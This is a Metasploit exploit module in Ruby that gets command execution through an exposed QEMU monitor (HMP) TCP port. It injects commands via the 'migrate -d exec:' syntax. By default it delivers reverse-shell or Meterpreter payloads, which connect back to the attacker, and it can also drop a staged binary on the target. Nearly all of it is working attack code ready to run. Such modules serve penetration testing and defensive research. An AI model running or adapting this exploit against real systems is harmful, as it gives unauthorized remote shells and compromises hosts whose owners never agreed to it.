##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
'Description' => %q{
This module uses QEMU's Monitor Human Monitor Interface (HMP)
TCP server to execute system commands using the `migrate` command.
This module has been tested successfully on QEMU version 6.2.0
on Ubuntu 20.04.
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' => [
['URL', 'https://wiki.qemu.org/ToDo/HMP'],
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
['URL', 'https://www.qemu.org/docs/master/system/security.html'],
['URL', 'https://www.linux-kvm.org/page/Migration'],
],
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'Platform' => %w[unix linux],
'Payload' => {
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d\x22",
'Space' => 1010
},
'Targets' => [
[
'Unix (Command)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_cmd
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Type' => :linux_dropper
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'Privileged' => false,
'DisclosureDate' => '2011-12-02'
)
)
end
def read_until_prompt
::Timeout.timeout(10) do
loop do
res = sock.get_once
break if res.nil?
break if res.to_s.include?('(qemu)')
end
end
end
def check
connect
banner = sock.get_once.to_s
disconnect
unless banner.include?('QEMU') && banner.include?('monitor')
return CheckCode::Safe('Service is not QEMU monitor HMP.')
end
CheckCode::Appears('QEMU monitor HMP service is running.')
end
def execute_command(cmd, _opts = {})
cmd = cmd.gsub('\\', '\\\\\\')
vprint_status("Executing command: #{cmd}")
sock.put("migrate -d \"exec:#{cmd}\"\n")
read_until_prompt
end
def exploit
connect
read_until_prompt
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 1010, background: true)
end
ensure
disconnect unless sock.nil?
end
end
